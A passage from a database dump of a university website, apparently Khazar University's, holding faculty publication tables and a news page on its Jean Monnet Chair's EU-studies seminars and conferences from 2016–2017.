pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Исследование вопросов вибрации скважинного оборудования при газлифтном способе добычи нефти</p></td><td><p>Conference</p></td><td><p>R.S. Gurbanov, Б.А. Аскеов, О.Т. Багиров</p></td><td><p>Международная конференция \"Современные методы и средства&nbsp;&nbsp;&nbsp; неразрушающего контроля и технической&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; диагностики.\"</p></td><td><p>2008</p></td><td><p>2.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p>Газ гуйуларынын атгы хятляриндя щидрат ямяляэялмя йеринин тяйини</p></td><td><p>Journal article</p></td><td><p>О.Т. Баьыров, Б.Я. Яскяро,</p><p>Л.И. Манафов, Р.С.Гурбанов</p></td><td><p>Азярбайъан Елми-тядгигат Елми-техники Информасийа вя Техники-игтисади Тядгигатлар Инытитуту. Информасийа вяряги, №10</p></td><td><p>2003</p></td><td><p>4.0 səh</p></td></tr></tbody></table>  <br></div>'),(1247,769,'en',' Kamala Jafarova',' Kamala Jafarova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"619\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"126\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>Publications type/publication activities</strong></p></td><td width=\"66\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"42\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Hard copy</strong></p><p><strong>Yes/No</strong><strong></strong></p></td><td width=\"54\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"126\"><p>Choosing optimal technological work regime for gas and condensate fields</p></td><td width=\"84\"><p>Thesis</p></td><td width=\"66\"><p>-</p></td><td width=\"84\"><p>Scientific and technical conference, Baku</p></td><td width=\"72\"><p>2006</p></td><td width=\"42\"><p>1</p></td><td width=\"60\"><p>yes</p></td><td width=\"54\"><p>no</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"126\"><p>Gas storage</p></td><td width=\"84\"><p>Thesis</p></td><td width=\"66\"><p>-</p></td><td width=\"84\"><p>Scientific and technical conference, Sumgayit</p></td><td width=\"72\"><p>2009</p></td><td width=\"42\"><p>1</p></td><td width=\"60\"><p>yes</p></td><td width=\"54\"><p>no</p></td></tr></tbody></table>  <br></div>'),(1248,285,'az','Jean Monnet Activities ','Jean Monnet Activities ','<p style=\"text-align:center\"><strong style=\"color:#0033cc;text-align:center\">Jean Monnet Chair of European Integration</strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">Jean Monnet Chair is&nbsp;a prestigious award and a&nbsp;teaching post with a specialization in European Union studies for university professors.&nbsp;Jean Monnet Chairs are named after Jean Monnet (1888-1979), one of the main architects of European integration. As a French politician and diplomat, he drafted the Schuman Plan (1950) that sketched a blueprint for the European </span>Coaand<span style=\"text-align:justify\"> Steel Community (ECSC), a predecessor institution of today’s European Union. He went on to serve as the first President of the High Authority of the ECSC (1952-55), which would later become the European Commission.&nbsp;</span></p><p style=\"text-align:justify\">In 2014, the Head of our Department&nbsp;<strong><a href=\"https://www.linkedin.com/in/hajizada/\" target=\"_blank\">Assoc.&nbsp;Prof.&nbsp;</a></strong><strong><a href=\"https://www.linkedin.com/in/hajizada/\" target=\"_blank\">Dr. Mukhtar Hajizada</a></strong><a href=\"http://www.khazar.org/en/menus/273/people\" target=\"_blank\"></a>&nbsp;was awarded&nbsp;the Jean Monnet Chair.&nbsp;The mission of the Jean Monnet Chair of our Department is to further deepen teaching in EU studies&nbsp;by introducing non-formal and innovative teaching techniques in the instruction.&nbsp;In addition to teaching, the project intends to promote research and learning on European integration and to promote discussion on contemporary European issues among students and the general public; and to facilitate the exchange of expertise among the scholars of EU studies.</p><p style=\"text-align:justify\">We intend to foster research cooperation among the Azerbaijani scholars and postgraduate researchers by providing the services of the EU Studies Centre and by establishing a platform of researchers and scholars. The collaborative initiative within the framework of this project will culminate in an international conference, the first of its kind in Azerbaijan, to promote discussion on European integration. The conference will bring together scholars and practitioners.</p><p style=\"text-align:justify\">We regularly host a series of events, titled European Seminars, delivered&nbsp;by authoritative experts, practitioners, scholars and professors in EU matters to share their expertise with the Azerbaijani audience. The series are free and open to the academic community and the public.&nbsp;</p><p style=\"text-align:justify\">Learn more about Jean Monnet and the history of the European Commissio<span style=\"background-color:#ffffff\">n&nbsp;</span><span style=\"background-color:#ffffff\"><a href=\"https://europa.eu/european-union/about-eu/history/founding-fathers_en#box_8\" target=\"_blank\">here</a></span><span style=\"background-color:#ffffff\">.</span></p><p style=\"text-align:center\"><strong style=\"font-family:\'times new roman\', times, serif;font-size:x-large;color:#0033cc\"><br></strong></p><p style=\"text-align:center\"><strong style=\"font-family:\'times new roman\', times, serif;font-size:x-large;color:#0033cc\">Jean Monnet Activities&nbsp;&amp;&nbsp;News:</strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\">A thank you letter from&nbsp;the EU Delegation in Azerbaijan&nbsp;</strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\">5 June 2017</strong></p><p style=\"text-align:justify\">Assoc. Prof. Dr. Mukhtar Hajizada, Jean Monnet Chair, has received a thank you letter from Ambassador Malena Mard,&nbsp;Head of the EU Delegation in&nbsp;Azerbaijan following the successful completion of the Jean Monnet project.&nbsp;</p><p>You can access the letter&nbsp;<a href=\"http://www.khazar.org/en/news/article/2331\" target=\"_blank\">here</a>.&nbsp;&nbsp;</p><p><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\">A letter of appreciation from the&nbsp;National Erasmus+ Office in Azerbaijan&nbsp;&nbsp;</strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\">1 June 2017</strong></p><p style=\"text-align:justify\">Dr. Hajizada&nbsp;received a letter of appreciation from&nbsp;Mr. Parviz Baghirov, Head of the National Erasmus+ Office in Azerbaijan, upon the completion of the Jean Monnet project.&nbsp;</p><p style=\"text-align:justify\">You can find the content of the&nbsp;letter&nbsp;<a href=\"http://www.khazar.org/en/news/article/2331\" target=\"_blank\">here</a>.</p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:left\">Jean Monnet seminar on the European and Global Relations of France&nbsp;</strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif;text-align:center\">24 May 2017</strong></p><p style=\"text-align:justify\">The&nbsp;Department of Political Science and International Relations of Khazar University hosted H.E. Aurélia Bouchez, Ambassador of France to Azerbaijan, to discuss the foreign policy of France following the recent presidential elections.&nbsp;Ambassador Bouchez provided a general overview of the French political process, including the pre-election campaign of presidential candidates and their the foreign policy promises.&nbsp;Questions were asked about the European and Foreign Relations of France, the relations with the French Speaking Countries of the World and the French policy towards the peaceful resolution of the Nagorno Karabagh conflict.</p><p style=\"text-align:justify\">Following the seminar, Amb. Aurélia Bouchez met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees to discuss the challenges and opportunities for the interuniversity cooperation between the Azerbaijani and French institutions of higher education.&nbsp;</p><p style=\"text-align:justify\">For photos click&nbsp;<a href=\"http://www.khazar.org/en/news/article/2237\" target=\"_blank\">here</a>.</p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif\">Media Wrote about the&nbsp;</strong><strong style=\"font-family:\'times new roman\', times, serif\">Jean Monnet Conference on the EU-Azerbaijan Relations</strong></p><p style=\"text-align:justify\"><strong>15 May 2017</strong></p><p style=\"text-align:justify\">As mentioned earlier, the&nbsp;Department of Political Science and International Relations held a conference on the EU-Azerbaijan relations. The conference was mentioned by the&nbsp;<a href=\"https://azertag.az/xeber/Avropa_Ittifaqi_ve_Azerbaycan_munasibetlerine_hesr_olunmus_Jan_Monne_konfransi-1059265\" target=\"_blank\">Azerbaijan State News Agency</a>&nbsp;(AZERTAC),&nbsp;<a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=17-2017&amp;content_id=30\" target=\"_blank\">Azerbaijan Muallimi</a>&nbsp;newspaper of the Azerbaijani Ministry of Education,&nbsp;<a href=\"https://az.trend.az/azerbaijan/politics/2753184.html\" target=\"_blank\">Trend News Agency</a>,&nbsp;<a href=\"http://eurasiadiary.com/az/news/society/138032-avropa-birliyi-ve-azerbaycan-munasibetlerine-hesr-olunmus-jan-monne-konfransi\" target=\"_blank\">Eurasia Diary</a>,&nbsp;&nbsp;and&nbsp;<a href=\"http://axar.az/news/planet/172104.html\" target=\"_blank\">others</a>.&nbsp;&nbsp;</p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif\"><br></strong></p><p style=\"text-align:justify\"><strong style=\"font-family:\'times new roman\', times, serif\">Jean Monnet Conference on the EU-Azerbaijan Relations</strong></p><p style=\"text-align:justify\"><strong>10 May 2017</strong></p><p style=\"text-align:justify\">On May 10, 2017, the Department of Political Science and International Relations held a conference on the EU-Azerbaijan relations in the framework of Europe Day celebrations in cooperation with the European Union Delegation in Azerbaijan.</p><p style=\"text-align:justify\">Prof. Hamlet Isakhanli, the founder of Khazar University, the Chairman of its Board of Directors and Trustees, welcomed the conference participants and highlighted the international cooperation projects of the university.</p><p style=\"text-align:justify\">Mr. Denis Daniilidis, the First Counselor of the EU Delegation to Azerbaijan, stressed the positive trend in bilateral relations between the EU and Azerbaijan boosted by the visit of President Ilham Aliyev to Brussels in February 2017 and spoke about the launch of negotiations for a New Comprehensive Agreement. He informed the audience that the first draft text of negotiations originated from the Azerbaijani government which reflects the principles of differentiation and mutual respect between both sides. Mr. Daniilidis also welcomed the resumption of the inter-parliamentary cooperation between the European Parliament and Milli Mejlis of Azerbaijan.</p><p style=\"text-align:justify\">Mr. Orkhan Zeynalov, Head of Division for Cooperation with the EU at the Azerbaijani Ministry of Foreign Affairs, talked about the prospects of bilateral cooperation in areas such as education and science. Mr. Zeynalov also underscored the progress on the Southern Gas Corridor. In his capacity as the Key Negotiator for the part of the agreement on sectorial cooperation, Mr. Zeynalov informed that the first round of negotiation that took place in Baku in late April, 2017 was very constructive and reflected the political willingness of both sides to enhance cooperation in new areas.&nbsp;</p><p style=\"text-align:justify\">Ms. Vusala Gurbanova, Senior Adviser of the Department of Science, Higher and Secondary Education at the Ministry of Education, highly appreciated the support of EU for the internationalization of the higher education in Azerbaijan. She noted that Khazar University is particularly active in international cooperation projects. Ms. Gurbanova also informed the audience about the activities carried out to improve the university study programs.&nbsp;</p><p style=\"text-align:justify\">Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of the Department of Political Science and International Relations informed the participants about the EU-related courses and research at the department. He informed that the department regularly hosts a series of events, including the one titled European Seminars, delivered by authoritative experts, practitioners, scholars and professors in EU matters to share their expertise with the Azerbaijani audience. Dr. Hajizada highlighted the necessity of promoting the understanding between the communities in the EU and Azerbaijan and welcomed the activities carried out to improve the existing sufficient conditions for it. He mentioned the importance of the agreement between the European Union and the Republic of Azerbaijan on the facilitation of the issuance of visas which came into effect in 2014. He drew attention to the importance of EU`s increasing its influence and peaceful intentions in Azerbaijan. Unlike many countries in the neighborhood, there is no EU Resource and Information Centre in Azerbaijan. Therefore Dr. Hajizada mentioned the need for more quantitative interactions and more qualitative communications.</p><p style=\"text-align:justify\">The conference followed by the Model European Union simulation on “Negotiation and Decision Making in the European Council” by the students of departments of Political Science, International Relations and European Studies on energy cooperation and TAP project.</p><p style=\"text-align:justify\">For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/2156\" target=\"_blank\">click here</a>.&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Dr. Hajizada Spoke at the International Conference on the Caucasus</strong></p><p style=\"text-align:justify\"><strong>27 April 2017</strong></p><p style=\"text-align:justify\">On April 27, 2017, Dr. Mukhtar Hajizada, Jean Monnet Chair and Head of the Department of Political Science and International Relations at Khazar University, participated in an international conference entitled “Challenges and Opportunities of Europeanisation in the Caucasus”. Dr. Hajizada delivered a presentation on the EU and the wider Black Sea&nbsp;neighborhood&nbsp;dealing with the security, institutionalization and the role of stakeholders. The conference took place at Yeditepe University in Istanbul, Turkey on 27-28&nbsp;April,&nbsp;2017.&nbsp;</p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/2134\" target=\"_blank\">click here</a><span style=\"color:#252525;font-size:18px\">.</span></p><p><strong style=\"font-family:\'times new roman\', times, serif;text-align:justify\"><br></strong></p><p><strong style=\"font-family:\'times new roman\', times, serif;text-align:justify\">Jean Monnet seminar on Globalisation and the Fight Against Human Trafficking</strong></p><p><strong style=\"text-align:justify\">26 April 2017</strong></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">On 26 </span>April,<span style=\"text-align:justify\"> &nbsp;2017, &nbsp;&nbsp;Dr. Hassan Niknafs, the rector of Khazar University met with Mr. Dan Ianku, Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan and Dr. Aurora Martin, the representative of National Agency of Romania on Equal Opportunities Between Women and Men. After the meeting, Dr. Martin gave a presentation on “Globalization and human trafficking”. &nbsp;The presentation was the latest event in the series of Jean Monnet European seminars held by the Department of Political Science and International Relations.</span></p><p><strong style=\"text-align:justify\"><br></strong></p><p><strong style=\"text-align:justify\">We&nbsp;had a discussion on the&nbsp;U.S. Presidential Elections and&nbsp;Consequences</strong></p><p><span style=\"font-weight:bold;text-align:justify\">24 October 2016</span></p><p style=\"text-align:justify\">On <span style=\"text-align:justify\">&nbsp;October 24, 2016, the Department of Political Science and International Relations of Khazar University hosted Dr. James Thurber, Distinguished Professor of Government at American University, Washington D.C. to discuss the upcoming elections in the United States.&nbsp; Dr. Thurber provided a general overview of the U.S. political process, including the nomination of presidential candidates, the political conventions and the Electoral College.&nbsp; He also spoke about the important issues in domestic politics in the United States that gave rise to each of the current presidential nominees, Hillary Clinton </span>and<span style=\"text-align:justify\"> Donald Trump.&nbsp; Dr. Thurber explained that there is a high likelihood of a Clinton victory due to potential votes in the Electoral College.&nbsp;Students asked a range of questions about how the U.S. elections will affect its relations with the NAFTA and European countries, human rights and world trade.&nbsp; Dr. Thurber also met with Dr. Mukhtar Hajizada, Department Chair, who thanked him for the gift of his book&nbsp;</span><span style=\"text-align:justify\">American Gridlock: The Sources, Character, and Impact of Political Polarization</span><span style=\"text-align:justify\">.</span></p><p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1469\">click here</a>.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Jean Monnet Seminar on Integration Processes in Southeastern Asia and&nbsp;Asia&nbsp;Pacific</strong></p><p style=\"text-align:justify\"><strong>20 May 2016</strong></p><p style=\"text-align:justify\">On May 20, 2016, Khazar University\'s Department of Political Science and International Relations hosted H. E. Roslan Abdul Rahman, Ambassador of Malaysia to Azerbaijan, to discuss the integration processes in Southeastern Asia and Asia Pacific from the Malaysian perspective. He provided a detailed background on Malaysia\'s foreign policy in the wider neighborhood and briefed the students about the cooperation with both the Association of Southeast Asian Nations (ASEAN) and the Asia-Pacific Economic Cooperation. After the seminar, Mr. Rahman had a meeting with the President of Khazar University, Dr. Hassan Niknafs.</p><p style=\"text-align:justify\">For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/1133\">click here</a>.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Jean Monnet Chair Makes Appearance on Education TV</strong></p><p style=\"text-align:justify\"><strong>09 April 2016</strong></p><p style=\"text-align:justify\"><span style=\"background-color:#fffffff\">On April 9, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, appeared as a guest on Education TV’s “Temel” (Foundation) broadcast and discussed the importance of academic integrity with Farhad Amirbeyov, Advisor to the Minister of Education.&nbsp;</span></p><p style=\"text-align:justify\"><span style=\"background-color:#fffffff\">The broadcast is available for viewing at the following link:&nbsp;</span><a href=\"https://www.youtube.com/watch?v=V_IPegcVNo8\"><strong>https://www.youtube.com/watch?v=V_IPegcVNo8</strong></a><span style=\"background-color:#fffffff\">&nbsp;</span></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Jean Monnet seminar with the Norwegian Ambassador</strong></p><p style=\"text-align:justify\"><strong>01 April 2016</strong></p><div style=\"text-align:justify\"><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">On April 1, the Department of Political Science and International Relations hosted H. E. Bård Ivar Svendsen, Norwegian Ambassador to Azerbaijan, to discuss Norway\'s participation in regional integration processes. Before his lecture, he met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">He started his speech by providing historical background on the factors that shaped Norway\'s policies in the Nordic region. He then discussed relations between Norway and the European Union, which are defined through the agreement on the European Economic Area granting Norway, which is not a member state of the EU, access to the EU internal market. He also spoke about factors that have influenced Norway\'s unwillingness to become part of the EU, the Nordic-Baltic cooperation, the Arctic Council, and the Barents Cooperation.</p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/869\">click here</a>.</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Seminar on Dutch Policy on the Eastern Partnership</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>15 March 2016</strong></p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">On March 15, 2016, the Department of Political Science and International Relations of Khazar University hosted Ambassador Dirk Jan Kop, Special Representative for Europe and Eastern Partnership at the Dutch Ministry of Foreign Affairs. He spoke about the cooperation between the EU and Azerbaijan in the framework of the Eastern Neighborhood Policy. He also let the audience know that the Dutch government welcomes the \"new readiness\" that he has observed in the country to take negotiations with the EU to a qualitatively new level. In the question and answer session, Amb. Kop answered questions concerning the Russia\'s stance with regards to the former Soviet republics, the promotion of the Eurasian Union, and peculiarities of EU Association Agreements with non-EU countries. During the lecture, participants also discussed cooperation between the EU and Azerbaijan in the field of agriculture as well as the state of value-based questions in post-Soviet countries.&nbsp;&nbsp;</p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\"><strong><br></strong></p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\"><strong>Palestinian Ambassador to Azerbaijan Speaks at the Jean Monnet seminar</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>11 March 2016</strong></p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">On March 11, 2016, the Department of Political Science and International Relations at Khazar University hosted H. E. Nasser Abdul Kareem, the Palestinian Ambassador to Azerbaijan, for a guest lecture about Palestine--European Union relations in the context of the European Neighborhood Policy. He spoke on the EU assistance to Palestinians, underlining the fact that the EU remains the largest provider of aid to Palestine to support its internally displaced people and the state structures. Mr. Kareem mentioned the EU-administered PEGASE program, which provides financial assistance to the Palestinian Authority, and the United Nations Relief and Works Agency for Palestine Refugees in the Near East (UNRWA), which provides services to Palestinians, who fled their homes following the 1948 conflict. Among other things, he informed the audience about the Interim Association Agreement on Trade and Cooperation that was signed between the EU and the Palestine Liberation Organization in 1997 with the aim of providing Palestinian industrial goods with duty-free access to the EU markets.&nbsp;&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Jean Monnet seminar&nbsp;with the US Ambassador on regional integration in North America&nbsp;</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>04 March 2016</strong></p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">On March 4, the Department of Political Science and International Relations&nbsp;hosted the U.S. Ambassador to Azerbaijan, Robert Cekuta, to discuss U.S.-Azerbaijan relations in the context of international integration processes. Ambassador Cekuta presented his opinion on the most important aspects of the U.S. relationship with Azerbaijan including the security, democracy, and economy/energy fronts. He emphasized the importance of security, rule of law, and&nbsp;democracy for Azerbaijan’s long-term stability and prosperity. He expressed his sympathy for the 20 percent occupation of the Azerbaijani territories and conveyed his understanding of the security problems for Azerbaijan deriving from the occupation.&nbsp; Ambassador Cekuta also spoke about mutual interests, values, and goals in the US-Azerbaijan relations.&nbsp;&nbsp;</p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">In the subsequent&nbsp;question and answer session moderated by Dr. Mukhtar Hajizada, Department Chair,&nbsp;questions were asked&nbsp;on various aspects of the US foreign policy as well as the U.S. engagement in the international integration processes&nbsp;and regional cooperation in North America. The reasons for the Minsk Group\'s ineffectiveness in resolving&nbsp;the Armenian-Azerbaijani Nagorno Karabagh conflict, the role of the U.S. as a Minsk Group co-chair, U.S.-China relations, the U.S. reaction to the Russian engagement in Ukraine, Georgia and Moldova, the instability in Afghanistan and Iraq, and&nbsp;the U.S. reaction to the Turkish policy in the Middle East were topics of interest in the&nbsp;questions asked by the student body of the Department of Political Science and International Relations.</p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">Before the event, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, received the Ambassador&nbsp;Robert Cekuta as well as Public Affairs Officer Stephen Guice and Education Specialist at the Embassy Mrs.&nbsp;Ramina Murshudova. Professor Isaxanli informed the Ambassador about Khazar University\'s history of relationships&nbsp;with American institutions. He also presented two books to the ambassador – one discussing the establishment process of Khazar University and one on Azerbaijani language for foreigners at the beginning level.</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Comprehensive Postgraduate Research Workshop in EU studies&nbsp;</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>1-2&nbsp;March 2016</strong></p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">On March 1-2, the Department of Political Science and International Relations organized a postgraduate workshop for Master and PhD students at Khazar University. The workshop was specifically designed to help the&nbsp;young Azerbaijani&nbsp;scholars to develop their research skills in European studies&nbsp;and to assist them in the writing process. The event also aimed to bring together current postgraduate students both at the MA and PhD levels and to facilitate the exchange of opinions and knowledge among them. The workshop consisted of several sessions, each focusing on a particular stage of research, including research design, literature review, methods for data collection, and analysis. Particular attention was also paid to discussing major academic principles as well as academic integrity and avoiding plagiarism. During the final stage of the workshop, the students presented their research and obtained feedback pertaining to the writing-up of their master’s theses and doctoral dissertations.&nbsp;</p><p style=\"background:undefined\"><strong><br></strong></p><p style=\"background:undefined\"><strong>Media wrote about the conference on&nbsp;“Azerbaijan-European Union Relations: Challenges and Opportunities”&nbsp;</strong></p><p style=\"background:undefined\"><strong>11 February 2016</strong></p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">On February 11, a series of discussions on “Azerbaijan-European Union Relations: Challenges and Opportunities” were held in Brussels at European Policy Centre, a well-known European think tank. Dr. Mukhtar Hajizada, Jean Monnet Chair, made a presentation at the panel&nbsp;noting that Azerbaijan has become a major player in European cultural life in recent years through hosting large-scale events. Information about the event was published by AZERTAC and other media portals.&nbsp;</p><p \"=\"\" style=\"background: white; margin: 0in 0in 7.5pt; box-sizing: border-box;\">Full text of the AZERTAC article is available at the following link:&nbsp;<a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=90043\"><strong>http://www.azerbaijan-news.az/index.php?mod=3&amp;id=90043</strong></a></p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><strong>Jean Monnet Chair&nbsp;Analyzes EU-Azerbaijan relations at International Conference in Brussels</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>8&nbsp;February 2016</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">On February 8, 2016,&nbsp;a conference on “Azerbaijan-EU relations: Challenges and opportunities” was held at the European Policy Centre in Brussels, Belgium. The event took place ahead of the visit of Federica Mogherini, the High Representative of the European Union for Foreign Affairs and Security Policy and Vice-President of the European Commission, to Azerbaijan.</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of Department of Political Science and International Relations at Khazar University, participated in the event. He made a presentation in which he mentioned the reasons placing Azerbaijan on the political, cultural and legal map of Europe and emphasized the role of the cultural and social activities carried by the Azerbaijani government in that regard. He highlighted the opportunities offered by the revised European Neighbourhood Policy which allows the EU and its partners to cooperate on areas of common interest –areas both sides feel comfortable dealing with, including increased cooperation in the sectors of trade, projects, economic development, and governance. Dr. Hajizada argued that the existing cooperation in the energy sector should not be taken for granted since the success of the European Union, an exemplary model of regional integration, became possible starting with cooperation in the energy sector following the end of the Second World War and the signing of peace agreements. He emphasized the necessity for the EU to step up its role in the Nagorno Karabagh peace process in trying to find a way to bring justice to the violations of international law and the grave breaches of international human rights law as a result of which hundreds of thousands of Azerbaijanis have suffered and continue suffering. Given the diverse representation of the audience, Dr. Hajizada suggested the establishment of EU Information and Resource Centers in Azerbaijan, which was welcomed by the EU and Azerbaijani officials.</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The panel, moderated by Amanda Paul, analyzed Azerbaijani-EU relations and the prospects of future cooperation following the review of the European Neighbourhood Policy. Among the speakers were Dirk Schuebel, Head of the Division of Bilateral Relations with the Eastern Partnership Countries at the European External Action Service, Svante Cornell, Director of the Central Asia-Caucasus Institute and Silk Road Studies Programme at Johns Hopkins University, and Michel Ivor, Director of The Caucasus Interface.</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Roundtable Discussion on the Middle East</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>18 February 2016 &nbsp;</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">On February 18, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, participated in a&nbsp;roundtable discussion dealing with questions of instability in the Middle East. The discussion was followed by&nbsp;a talk&nbsp;by&nbsp;Professor Elie Podeh from Hebrew University in Jerusalem who&nbsp;made a presentation on “Chaos and instability in the Middle East: The view from Jerusalem, Cairo, Riyadh and Washington”. Contributors to the roundtable discussion also&nbsp;included scholars of&nbsp;the Middle Eastern studies, Political Science and International Relations from&nbsp;Baku State University and Azerbaijan University of Languages. The event took place at the Heydar Aliyev Centre of Baku State University.</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Send-off Meeting for Graduate Students Going to Leiden University</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>13 January 2016</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">On 13 January 2016, a send-off meeting with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was held for the graduate students of Khazar University going on an exchange program to Leiden University (Netherlands). During the meeting, Prof. Isaxanli offered his words of encouragement and highlighted the benefits of student exchange programs available to the staff and students at Khazar University. Dr. Mukhtar Hajizada, Jean Monnet Chair and&nbsp;Head of the Department of Political Science and International Relations, reiterated the goals of this particular exchange program for the participating students and advised the students to fully benefit from the opportunities of their stay at their host university. PhD students Anar Rahimov and 